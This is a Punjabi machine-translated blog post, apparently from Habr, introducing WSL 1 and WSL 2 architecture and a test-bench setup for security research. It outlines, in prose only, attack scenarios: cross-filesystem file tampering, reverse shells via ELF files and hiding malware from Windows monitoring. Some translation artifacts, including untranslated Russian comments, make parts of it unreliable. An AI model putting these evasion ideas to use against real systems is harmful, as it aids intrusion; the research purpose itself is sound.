WSL ਪ੍ਰਯੋਗ। ਭਾਗ 1

ਹੈਲੋ, ਹੈਬਰ! OTUS ਅਕਤੂਬਰ ਵਿੱਚ ਇੱਕ ਨਵਾਂ ਕੋਰਸ ਸਟ੍ਰੀਮ ਲਾਂਚ ਕਰਦਾ ਹੈ "ਲੀਨਕਸ ਸੁਰੱਖਿਆ". ਕੋਰਸ ਸ਼ੁਰੂ ਹੋਣ ਦੀ ਉਮੀਦ ਵਿੱਚ, ਅਸੀਂ ਤੁਹਾਡੇ ਨਾਲ ਸਾਡੇ ਇੱਕ ਅਧਿਆਪਕ, ਅਲੈਗਜ਼ੈਂਡਰ ਕੋਲੇਸਨਿਕੋਵ ਦੁਆਰਾ ਲਿਖਿਆ ਇੱਕ ਲੇਖ ਸਾਂਝਾ ਕਰ ਰਹੇ ਹਾਂ।

2016 ਵਿੱਚ, ਮਾਈਕਰੋਸਾਫਟ ਨੇ ਆਈਟੀ ਕਮਿਊਨਿਟੀ ਨੂੰ ਨਵੀਂ WSL ਤਕਨਾਲੋਜੀ ਪੇਸ਼ ਕੀਤੀ (Wਅੰਦਰੂਨੀ Sਲਈ ਉਪ-ਸਿਸਟਮ Linux), ਜਿਸ ਨੇ ਭਵਿੱਖ ਵਿੱਚ ਪਹਿਲਾਂ ਤੋਂ ਅਟੁੱਟ ਪ੍ਰਤੀਯੋਗੀਆਂ ਨੂੰ ਇੱਕਜੁੱਟ ਕਰਨਾ ਸੰਭਵ ਬਣਾਇਆ ਜੋ ਆਮ ਅਤੇ ਉੱਨਤ OS ਉਪਭੋਗਤਾਵਾਂ ਵਿੱਚ ਪ੍ਰਸਿੱਧੀ ਲਈ ਲੜ ਰਹੇ ਸਨ: ਵਿੰਡੋਜ਼ ਅਤੇ ਲੀਨਕਸ। ਇਸ ਤਕਨਾਲੋਜੀ ਨੇ ਵਿੰਡੋਜ਼ ਵਾਤਾਵਰਨ ਵਿੱਚ ਲੀਨਕਸ ਨੂੰ ਚਲਾਉਣ ਦੀ ਲੋੜ ਤੋਂ ਬਿਨਾਂ ਲੀਨਕਸ ਓਐਸ ਟੂਲਜ਼ ਦੀ ਵਰਤੋਂ ਕਰਨਾ ਸੰਭਵ ਬਣਾਇਆ, ਉਦਾਹਰਨ ਲਈ, ਮਲਟੀ-ਬੂਟ ਦੀ ਵਰਤੋਂ ਕਰਨਾ। ਹੈਬਰ 'ਤੇ ਤੁਸੀਂ WSL ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੇ ਲਾਭਾਂ ਦਾ ਵਰਣਨ ਕਰਨ ਵਾਲੇ ਬਹੁਤ ਸਾਰੇ ਲੇਖ ਲੱਭ ਸਕਦੇ ਹੋ। ਹਾਲਾਂਕਿ, ਬਦਕਿਸਮਤੀ ਨਾਲ, ਇਸ ਲੇਖ ਦੀ ਸਿਰਜਣਾ ਦੇ ਸਮੇਂ, ਇਸ ਸਰੋਤ 'ਤੇ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮਾਂ ਦੇ ਅਜਿਹੇ ਸਿੰਬਾਇਓਸਿਸ ਦੀ ਸੁਰੱਖਿਆ ਬਾਰੇ ਕੋਈ ਅਧਿਐਨ ਨਹੀਂ ਮਿਲਿਆ। ਇਹ ਪੋਸਟ ਇਸ ਨੂੰ ਠੀਕ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਹੋਵੇਗੀ। ਲੇਖ WSL 1 ਅਤੇ 2 ਆਰਕੀਟੈਕਚਰ ਦੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਬਾਰੇ ਗੱਲ ਕਰੇਗਾ ਅਤੇ ਇਹਨਾਂ ਤਕਨਾਲੋਜੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਸਿਸਟਮਾਂ 'ਤੇ ਹਮਲਿਆਂ ਦੀਆਂ ਕਈ ਉਦਾਹਰਣਾਂ ਦੀ ਜਾਂਚ ਕਰੇਗਾ। ਲੇਖ ਨੂੰ 2 ਭਾਗਾਂ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ। ਪਹਿਲਾ ਲੀਨਕਸ ਅਤੇ ਵਿੰਡੋਜ਼ ਤੋਂ ਮੁੱਖ ਸਿਧਾਂਤਕ ਹਮਲੇ ਦੇ ਤਰੀਕੇ ਪ੍ਰਦਾਨ ਕਰੇਗਾ। ਦੂਜੇ ਲੇਖ ਵਿੱਚ ਇੱਕ ਟੈਸਟ ਵਾਤਾਵਰਣ ਸਥਾਪਤ ਕਰਨਾ ਅਤੇ ਹਮਲਿਆਂ ਨੂੰ ਦੁਬਾਰਾ ਤਿਆਰ ਕਰਨਾ ਸ਼ਾਮਲ ਹੋਵੇਗਾ।

WSL 1: ਆਰਕੀਟੈਕਚਰਲ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ

WSL ਸੁਰੱਖਿਆ ਮੁੱਦਿਆਂ ਵਿੱਚ ਸਭ ਤੋਂ ਸਹੀ ਗੋਤਾਖੋਰੀ ਲਈ, ਸਬ-ਸਿਸਟਮ ਨੂੰ ਲਾਗੂ ਕਰਨ ਨਾਲ ਸੰਬੰਧਿਤ ਮੁੱਖ ਸੂਖਮਤਾਵਾਂ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨਾ ਜ਼ਰੂਰੀ ਹੈ। ਡਬਲਯੂਐਸਐਲ ਦੁਆਰਾ ਹੱਲ ਕੀਤੇ ਗਏ ਮੁੱਖ ਉਪਭੋਗਤਾ ਕਾਰਜਾਂ ਵਿੱਚੋਂ ਇੱਕ ਵਿੰਡੋਜ਼ ਓਐਸ ਚਲਾ ਰਹੇ ਹੋਸਟ ਉੱਤੇ ਲੀਨਕਸ ਟਰਮੀਨਲ ਦੁਆਰਾ ਕੰਮ ਕਰਨ ਦੀ ਯੋਗਤਾ ਹੈ। ਨਾਲ ਹੀ, ਪੇਸ਼ ਕੀਤੀ ਗਈ ਅਨੁਕੂਲਤਾ ਇੰਨੀ ਮੂਲ ਸੀ ਕਿ ਲੀਨਕਸ ਐਗਜ਼ੀਕਿਊਟੇਬਲ (ELFs) ਨੂੰ ਸਿੱਧੇ ਵਿੰਡੋਜ਼ ਸਿਸਟਮ 'ਤੇ ਚਲਾਇਆ ਜਾ ਸਕਦਾ ਹੈ। ਇਹਨਾਂ ਟੀਚਿਆਂ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ, ਵਿੰਡੋਜ਼ 10 ਵਿੱਚ ਇੱਕ ਵਿਸ਼ੇਸ਼ ਉਪ-ਸਿਸਟਮ ਬਣਾਇਆ ਗਿਆ ਸੀ ਜੋ ਤੁਹਾਨੂੰ ਖਾਸ ਸਿਸਟਮ ਕਾਲਾਂ ਦੇ ਇੱਕ ਸਮੂਹ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲੀਨਕਸ ਐਪਲੀਕੇਸ਼ਨਾਂ ਨੂੰ ਚਲਾਉਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ - ਇਸ ਤਰ੍ਹਾਂ, ਵਿੰਡੋਜ਼ ਉੱਤੇ ਲੀਨਕਸ ਸਿਸਕੈਲ ਦੇ ਇੱਕ ਸਮੂਹ ਨੂੰ ਮੈਪ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਗਈ ਸੀ। ਇਹ ਭੌਤਿਕ ਤੌਰ 'ਤੇ ਨਵੇਂ ਡਰਾਈਵਰਾਂ ਅਤੇ ਇੱਕ ਨਵੇਂ ਪ੍ਰਕਿਰਿਆ ਫਾਰਮੈਟ ਨੂੰ ਜੋੜ ਕੇ ਲਾਗੂ ਕੀਤਾ ਗਿਆ ਸੀ। ਦ੍ਰਿਸ਼ਟੀਗਤ ਰੂਪ ਵਿੱਚ ਆਰਕੀਟੈਕਚਰ ਇਸ ਤਰ੍ਹਾਂ ਦਿਖਾਈ ਦਿੰਦਾ ਸੀ:

ਵਾਸਤਵ ਵਿੱਚ, ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਨਾਲ ਪਰਸਪਰ ਪ੍ਰਭਾਵ ਕਈ ਕਰਨਲ ਮਾਡਿਊਲਾਂ ਅਤੇ ਇੱਕ ਵਿਸ਼ੇਸ਼ ਕਿਸਮ ਦੀ ਪ੍ਰਕਿਰਿਆ - pico ਦੁਆਰਾ ਆਯੋਜਿਤ ਕੀਤਾ ਗਿਆ ਸੀ। ਉਪਰੋਕਤ ਚਿੱਤਰ ਤੋਂ, ਤੁਸੀਂ ਦੇਖ ਸਕਦੇ ਹੋ ਕਿ ਹੋਸਟ 'ਤੇ ਲੀਨਕਸ ਉਦਾਹਰਣ 'ਤੇ ਚੱਲ ਰਹੀ ਪ੍ਰਕਿਰਿਆ ਮੂਲ ਹੋਣੀ ਚਾਹੀਦੀ ਹੈ ਅਤੇ ਨਿਯਮਤ ਵਿੰਡੋਜ਼ ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਾਂਗ ਹੀ ਸਰੋਤਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨੀ ਚਾਹੀਦੀ ਹੈ। ਪਰ ਇਸ ਨੂੰ ਕਿਵੇਂ ਪ੍ਰਾਪਤ ਕਰਨਾ ਹੈ? ਪ੍ਰੋਜੈਕਟ ਵਿੱਚ ਡ੍ਰਾਬ੍ਰਿਜ ਵਿੰਡੋਜ਼ ਲਈ ਪ੍ਰਕਿਰਿਆ ਸੰਕਲਪ ਵਿਕਸਿਤ ਕੀਤੇ ਗਏ ਸਨ ਜੋ ਕਿਸੇ ਹੋਰ OS ਦੀ ਐਪਲੀਕੇਸ਼ਨ ਨੂੰ ਚਲਾਉਣ ਲਈ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਦੇ ਸਾਰੇ ਲੋੜੀਂਦੇ ਭਾਗ (ਇਸਦੇ ਸੰਸਕਰਣ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ) ਪ੍ਰਦਾਨ ਕਰਦੇ ਹਨ।

ਨੋਟ ਕਰੋ ਕਿ ਪ੍ਰਸਤਾਵਿਤ ਐਬਸਟਰੈਕਸ਼ਨ ਨੇ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ (ਖਾਸ ਤੌਰ 'ਤੇ, ਵਿੰਡੋਜ਼) 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਨਾ ਕਰਨਾ ਸੰਭਵ ਬਣਾਇਆ, ਜਿਸ ਵਿੱਚ ਕਿਸੇ ਹੋਰ OS ਦੀ ਪ੍ਰਕਿਰਿਆ ਸ਼ੁਰੂ ਹੋਣ ਦੀ ਉਮੀਦ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਅਤੇ ਇੱਕ ਆਮ ਪਹੁੰਚ ਦਾ ਸੁਝਾਅ ਦਿੱਤਾ।

ਇਸ ਤਰ੍ਹਾਂ, ਪਿਕੋ ਪ੍ਰਕਿਰਿਆ ਦੇ ਅੰਦਰ ਕੋਈ ਵੀ ਐਪਲੀਕੇਸ਼ਨ ਵਿੰਡੋਜ਼ ਕਰਨਲ ਦੀ ਪਰਵਾਹ ਕੀਤੇ ਬਿਨਾਂ ਚੱਲ ਸਕਦੀ ਹੈ:

1. ਸਿਸਟਮ ਕਾਲਾਂ ਦੀ ਅਨੁਕੂਲਤਾ ਅਤੇ ਅਨੁਵਾਦ ਦੀਆਂ ਸਮੱਸਿਆਵਾਂ ਵਿਸ਼ੇਸ਼ ਪ੍ਰਦਾਤਾਵਾਂ ਦੁਆਰਾ ਹੱਲ ਕੀਤੀਆਂ ਜਾਣੀਆਂ ਚਾਹੀਦੀਆਂ ਹਨ;
2. ਪਹੁੰਚ ਨਿਯੰਤਰਣ ਸੁਰੱਖਿਆ ਮਾਨੀਟਰ ਦੁਆਰਾ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ. ਮਾਨੀਟਰ ਕਰਨਲ ਵਿੱਚ ਸਥਿਤ ਹੈ ਅਤੇ ਇਸਲਈ ਵਿੰਡੋਜ਼ ਨੂੰ ਇੱਕ ਨਵੇਂ ਡਰਾਈਵਰ ਦੇ ਰੂਪ ਵਿੱਚ ਇੱਕ ਅੱਪਗਰੇਡ ਦੀ ਲੋੜ ਹੈ ਜੋ ਅਜਿਹੀਆਂ ਪ੍ਰਕਿਰਿਆਵਾਂ ਲਈ ਇੱਕ ਪ੍ਰਦਾਤਾ ਵਜੋਂ ਕੰਮ ਕਰ ਸਕਦਾ ਹੈ। ਪ੍ਰੋਟੋਟਾਈਪ ਪੀਕੋ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਯੋਜਨਾਬੱਧ ਤੌਰ 'ਤੇ ਹੇਠਾਂ ਪੇਸ਼ ਕੀਤਾ ਗਿਆ ਹੈ:

ਕਿਉਂਕਿ ਲੀਨਕਸ ਫਾਈਲ ਸਿਸਟਮ ਕੇਸ-ਸੰਵੇਦਨਸ਼ੀਲ ਫਾਈਲ ਅਤੇ ਡਾਇਰੈਕਟਰੀ ਨਾਮਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ, WSL - VolFS ਅਤੇ DriveFS ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ ਵਿੰਡੋਜ਼ ਵਿੱਚ 2 ਕਿਸਮ ਦੇ ਫਾਈਲ ਸਿਸਟਮ ਸ਼ਾਮਲ ਕੀਤੇ ਗਏ ਸਨ। VolFS ਲੀਨਕਸ ਫਾਈਲ ਸਿਸਟਮ ਦਾ ਇੱਕ ਲਾਗੂਕਰਨ ਹੈ, DriveFS ਇੱਕ ਫਾਈਲ ਸਿਸਟਮ ਹੈ ਜੋ ਵਿੰਡੋਜ਼ ਨਿਯਮਾਂ ਅਨੁਸਾਰ ਕੰਮ ਕਰਦਾ ਹੈ, ਪਰ ਕੇਸ ਸੰਵੇਦਨਸ਼ੀਲਤਾ ਨੂੰ ਚੁਣਨ ਦੀ ਸਮਰੱਥਾ ਰੱਖਦਾ ਹੈ।

WSL 2

WSL 1 ਦੀਆਂ ਬਹੁਤ ਸਾਰੀਆਂ ਸੀਮਾਵਾਂ ਸਨ ਜੋ ਇਸਨੂੰ ਵੱਧ ਤੋਂ ਵੱਧ ਕਾਰਜਾਂ ਨੂੰ ਹੱਲ ਕਰਨ ਲਈ ਵਰਤਣ ਦੀ ਆਗਿਆ ਨਹੀਂ ਦਿੰਦੀਆਂ ਸਨ: ਉਦਾਹਰਨ ਲਈ, ਇਸ ਵਿੱਚ 32-ਬਿੱਟ ਲੀਨਕਸ ਐਪਲੀਕੇਸ਼ਨਾਂ ਨੂੰ ਚਲਾਉਣ ਦੀ ਸਮਰੱਥਾ ਨਹੀਂ ਸੀ, ਅਤੇ ਡਿਵਾਈਸ ਡਰਾਈਵਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨਾ ਅਸੰਭਵ ਸੀ। ਇਸ ਲਈ, 2020 ਵਿੱਚ, ਡਬਲਯੂਐਸਐਲ 2 ਜਾਰੀ ਕੀਤਾ ਗਿਆ ਸੀ, ਜਿਸ ਨੇ ਸਬ-ਸਿਸਟਮ ਬਣਾਉਣ ਲਈ ਪਹੁੰਚ ਨੂੰ ਬਦਲ ਦਿੱਤਾ ਸੀ। WSL 2 ਇੱਕ ਅਨੁਕੂਲਿਤ ਵਰਚੁਅਲ ਮਸ਼ੀਨ ਹੈ ਜੋ WSL 1 ਦੀਆਂ ਸਰੋਤ ਖਪਤ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦੀ ਹੈ। ਹੁਣ, ਵਿੰਡੋਜ਼ OS ਉਪਭੋਗਤਾ ਦੁਆਰਾ ਹੱਲ ਕੀਤੀਆਂ ਸਮੱਸਿਆਵਾਂ 'ਤੇ ਨਿਰਭਰ ਕਰਦਿਆਂ, ਤੁਸੀਂ ਲੀਨਕਸ ਸਬ-ਸਿਸਟਮ ਦੇ ਲੋੜੀਂਦੇ ਸੰਸਕਰਣ ਦੀ ਚੋਣ ਕਰ ਸਕਦੇ ਹੋ। ਸੰਭਾਵਿਤ ਕਮਜ਼ੋਰੀਆਂ ਨੂੰ ਘਟਾਉਣ ਲਈ, WSL 2 ਨੂੰ ਵਿੰਡੋਜ਼ 10 ਵਿੱਚ ਹਾਈਪਰ-ਵੀ ਦੇ ਅਧਾਰ ਤੇ ਲਾਗੂ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਸ ਰੂਪ ਵਿੱਚ, ਵਿੰਡੋਜ਼ ਵਿੱਚ ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਕਰਨਲ ਨੂੰ ਅਲੱਗ-ਥਲੱਗ ਚਲਾਉਣ ਦੀ ਸਮਰੱਥਾ ਹੈ। ਇਹ ਯਾਦ ਰੱਖਣ ਯੋਗ ਹੈ ਕਿ WSL ਦਾ ਸੰਸਕਰਣ 1 ਇੱਕ ਬੀਟਾ ਵਿਸ਼ੇਸ਼ਤਾ ਵਜੋਂ ਪੇਸ਼ ਕੀਤਾ ਗਿਆ ਸੀ ਜੋ ਇਸ ਖੇਤਰ ਵਿੱਚ ਵਿੰਡੋਜ਼ ਦੇ ਵਿਕਾਸ ਦੀ ਦਿਸ਼ਾ ਦਿਖਾਉਣਾ ਸੀ, ਇਸਲਈ ਹਾਈਪਰ-ਵੀ ਵਿੱਚ ਤਬਦੀਲੀ ਲਾਜ਼ਮੀ ਸੀ। ਫਾਈਨਲ ਆਰਕੀਟੈਕਚਰ ਇਸ ਤਰ੍ਹਾਂ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ:

ਇਸ ਸੰਸਕਰਣ ਵਿੱਚ, ਵਿੰਡੋਜ਼ ਅਤੇ ਲੀਨਕਸ ਕਰਨਲ ਦੇ ਆਪਣੇ ਸਰੋਤ ਹਨ ਅਤੇ ਇੰਟਰਸੈਕਸ਼ਨ ਸਿਰਫ ਫਾਈਲ ਸਿਸਟਮ ਵਿੱਚ ਮੌਜੂਦ ਹੈ, ਪਰ ਇਹ ਇੰਟਰਸੈਕਸ਼ਨ ਪੂਰਾ ਨਹੀਂ ਹੈ। ਫਾਈਲ ਸਿਸਟਮਾਂ ਵਿਚਕਾਰ ਆਪਸੀ ਤਾਲਮੇਲ ਇੱਕ ਕਲਾਇੰਟ-ਸਰਵਰ ਰੈਪਰ ਦੁਆਰਾ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ 9P ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਕੰਮ ਕਰਦਾ ਹੈ।

ਅੱਜ ਮਾਈਕ੍ਰੋਸਾਫਟ WSL 1 ਅਤੇ WSL 2 ਵਿਚਕਾਰ ਬਦਲਣ ਦੀ ਸਮਰੱਥਾ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ। ਦੋਵੇਂ ਵਰਜਨ ਵਰਤੋਂ ਲਈ ਉਪਲਬਧ ਹਨ।

WSL ਸੁਰੱਖਿਆ

ਇਸ ਸਮੇਂ, ਉਪ-ਪ੍ਰਣਾਲੀਆਂ ਵਿਚਕਾਰ ਸੰਚਾਰ 'ਤੇ ਹਮਲਾ ਕਰਨ ਲਈ ਜਾਇਜ਼ OS ਟੂਲਸ ਦੀ ਵਰਤੋਂ ਕਰਨ ਲਈ ਕੁਝ ਪਹੁੰਚਾਂ ਦਾ ਵਰਣਨ ਕਰਨ ਵਾਲੇ ਕਈ ਕੰਮ ਹਨ। ਅਸੀਂ ਲਿਖਣ ਦੇ ਸਮੇਂ ਹਮਲਿਆਂ ਦੀ ਸਾਰਥਕਤਾ ਦੀ ਜਾਂਚ ਕਰਨ ਲਈ ਉਹਨਾਂ ਦੀਆਂ ਸਕ੍ਰਿਪਟਾਂ ਦੀ ਵਰਤੋਂ ਕਰਾਂਗੇ। ਹਮਲਿਆਂ ਅਤੇ ਦ੍ਰਿਸ਼ਾਂ ਦੀ ਆਮ ਸੂਚੀ:

1. ਫਾਈਲ ਸਿਸਟਮ ਲਾਗੂ ਕਰਨਾ: ਪਹੁੰਚ ਅਧਿਕਾਰ, ਸ਼ੇਅਰਡ ਡਾਇਰੈਕਟਰੀਆਂ/ਡਾਟਾ ਐਕਸਚੇਂਜ ਵਿਧੀਆਂ ਦੀ ਉਪਲਬਧਤਾ।

ਤੱਕ ਪਹੁੰਚ ਨਿਯਮਾਂ ਦੀ ਉਲੰਘਣਾ ਦਾ ਪਤਾ ਲਗਾਉਣ ਲਈ ਖੋਜ ਕੀਤੀ ਗਈ ਸੀ Linux FS->Windows FS, Windows FS->Linux FS. ਖੋਜ ਨੇ ਨਿਸ਼ਾਨਾ OS ਦੇ ਅੰਦਰ ਦਿੱਤੀ ਗਈ ਫਾਈਲ ਨੂੰ ਸੋਧਣ ਦੀ ਯੋਗਤਾ ਦਾ ਪ੍ਰਦਰਸ਼ਨ ਕੀਤਾ ਹੈ। ਫਾਈਲ ਸਿਸਟਮਾਂ ਦੇ ਕੁਝ ਹਿੱਸੇ ਨੂੰ ਬਦਲਣ, ਡੁਪਲੀਕੇਟ ਬਣਾਉਣ ਅਤੇ ਮਿਟਾਉਣ ਦੀਆਂ ਕੋਸ਼ਿਸ਼ਾਂ ਵੀ ਕੀਤੀਆਂ ਗਈਆਂ ਸਨ।

ਦ੍ਰਿਸ਼:

• A. ਵਿੰਡੋਜ਼ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੋਂ ਹਮਲਾ - Linux OS ਦੀ /etc ਡਾਇਰੈਕਟਰੀ ਤੋਂ ਫਾਈਲਾਂ ਦੀ ਸੋਧ।
• B. ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੋਂ ਹਮਲਾ - ਡਾਇਰੈਕਟਰੀਆਂ ਵਿੱਚ ਫਾਈਲਾਂ ਦੀ ਸੋਧ: C:Windows, C:Program Files, C:Users<User>

2. ਨੈੱਟਵਰਕ ਸਟੈਕ ਨੂੰ ਲਾਗੂ ਕਰਨਾ।

ਖੋਜ ਵਿੰਡੋਜ਼ ਉੱਤੇ ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੋਂ ਹਮਲਿਆਂ ਦੀਆਂ ਉਦਾਹਰਣਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਕੀਤੀ ਗਈ ਸੀ। ਨੈੱਟਵਰਕ ਸਟੈਕ ਦੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਗਈ ਸੀ, ਅਰਥਾਤ, ਵੱਖ-ਵੱਖ ਸਰੋਤਾਂ 'ਤੇ ਪ੍ਰਮਾਣਿਕਤਾ ਵਿਧੀ।

ਦ੍ਰਿਸ਼:

• ਇੱਕ ਪੋਰਟ ਤੱਕ ਪਹੁੰਚ ਖੋਲ੍ਹਣਾ ਜੋ ਕਿ ਇੱਕ ਵਿੰਡੋਜ਼ ਸਿਸਟਮ ਤੇ ਹੈ
• ਉਚਿਤ ਅਧਿਕਾਰਾਂ ਤੋਂ ਬਿਨਾਂ ਪੋਰਟ ਖੋਲ੍ਹਣਾ
• ਵਿੰਡੋਜ਼ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ 'ਤੇ ਐਲਫ ਫਾਈਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਰਿਵਰਸ ਸ਼ੈੱਲ ਚੱਲ ਰਿਹਾ ਹੈ।

3. WSL ਸਬਸਿਸਟਮ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਖਤਰਨਾਕ ਸੌਫਟਵੇਅਰ ਪ੍ਰਕਿਰਿਆਵਾਂ ਦੀ ਸ਼ੁਰੂਆਤ ਨੂੰ ਲੁਕਾਉਣਾ।

ਖੋਜ ਇੱਕ ਸਧਾਰਨ ਤੱਥ 'ਤੇ ਅਧਾਰਤ ਸੀ - ਸੁਰੱਖਿਆ ਉਪ-ਪ੍ਰਣਾਲੀ ਕਿਸੇ ਹੋਰ ਕਰਨਲ ਵਿੱਚ ਘਟਨਾਵਾਂ ਨੂੰ ਰੋਕ ਨਹੀਂ ਸਕਦੇ ਜੋ WSL 1 ਦੇ ਮਾਮਲੇ ਵਿੱਚ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੋਂ ਇੱਕ ਜਾਇਜ਼ ਪ੍ਰਦਾਤਾ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਕੰਮ ਕਰਦੇ ਹਨ। WSL 2 ਦੇ ਮਾਮਲੇ ਵਿੱਚ, ਵਾਪਰਨ ਵਾਲੀਆਂ ਘਟਨਾਵਾਂ ਨੂੰ ਦੇਖਣ ਦਾ ਕੋਈ ਤਰੀਕਾ ਨਹੀਂ ਹੈ। ਲਾਈਟਵੇਟ ਵਰਚੁਅਲ ਮਸ਼ੀਨ ਦੇ ਅੰਦਰ ਇੱਕ ਵੱਖਰੇ ਕਰਨਲ ਵਿੱਚ।

ਦ੍ਰਿਸ਼:

1) ਸਿਸਟਮ ਲਈ ਰਿਮੋਟ ਐਕਸੈਸ ਲਈ ਐਪਲੀਕੇਸ਼ਨ ਲਾਂਚ ਕਰੋ ਅਤੇ ਲੌਗ ਕੀਤੇ ਇਵੈਂਟਾਂ ਨੂੰ ਦੇਖੋ।

WSL 1 ਪ੍ਰਯੋਗ: ਹੈਸ਼ ਇੰਟਰਸੈਪਸ਼ਨ (ਵਿੰਡੋਜ਼)

ਅੰਤ ਵਿੱਚ ਅਸੀਂ ਵਿਹਾਰਕ ਭਾਗ ਵਿੱਚ ਪਹੁੰਚ ਗਏ। ਪਹਿਲਾਂ, ਤੁਹਾਨੂੰ ਟੈਸਟ ਵਾਤਾਵਰਨ ਸੈਟ ਅਪ ਕਰਨ ਦੀ ਲੋੜ ਹੈ। ਸਾਰੇ ਪ੍ਰਯੋਗਾਂ ਨੂੰ ਵਿੰਡੋਜ਼ 10 2004 ਸਥਾਪਿਤ ਕੀਤੇ ਬੈਂਚ 'ਤੇ ਕੀਤਾ ਜਾਵੇਗਾ। ਉਬੰਟੂ 18.04 ਚਿੱਤਰ ਨੂੰ WSL ਲਈ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਚਿੱਤਰ ਵਜੋਂ ਚੁਣਿਆ ਗਿਆ ਸੀ। ਚਿੱਤਰ ਨੂੰ ਬੇਤਰਤੀਬੇ 'ਤੇ ਚੁਣਿਆ ਗਿਆ ਸੀ, ਅਤੇ ਕੋਈ ਵੀ ਹੋਰ ਉਸੇ ਤਰ੍ਹਾਂ ਕੰਮ ਕਰੇਗਾ। ਸਟੈਂਡ ਸਥਾਪਤ ਕਰਨ ਲਈ ਆਦੇਸ਼:

ਤੁਹਾਨੂੰ ਪਹਿਲਾਂ ਲਾਂਚ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ powershell.exe ਪ੍ਰਬੰਧਕ ਵਜੋਂ।

WSL 1 ਲਈ ਤੁਹਾਨੂੰ ਕਮਾਂਡਾਂ ਚਲਾਉਣ ਦੀ ਲੋੜ ਹੈ:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

ਸਟੈਂਡ ਨੂੰ ਰੀਬੂਟ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਤੁਸੀਂ bash ਕਮਾਂਡ ਨੂੰ ਕਾਲ ਕਰ ਸਕਦੇ ਹੋ। ਜੇ ਸਭ ਕੁਝ ਸਹੀ ਢੰਗ ਨਾਲ ਕੰਮ ਕਰਦਾ ਹੈ, ਤਾਂ ਤੁਸੀਂ ਵਿੰਡੋਜ਼ ਕੰਸੋਲ ਵਿੱਚ ਇਸਦੇ ਸਮਾਨ ਆਉਟਪੁੱਟ ਵੇਖੋਗੇ:

ਅਸੀਂ ਕਾਲੀ ਲੀਨਕਸ ਡਿਸਟਰੀਬਿਊਸ਼ਨ ਨੂੰ ਹਮਲਾਵਰ ਦੀ ਮਸ਼ੀਨ ਵਜੋਂ ਵਰਤਾਂਗੇ; ਸਾਰੀਆਂ ਮਸ਼ੀਨਾਂ ਇੱਕੋ ਸਥਾਨਕ ਨੈੱਟਵਰਕ 'ਤੇ ਹੋਣੀਆਂ ਚਾਹੀਦੀਆਂ ਹਨ।

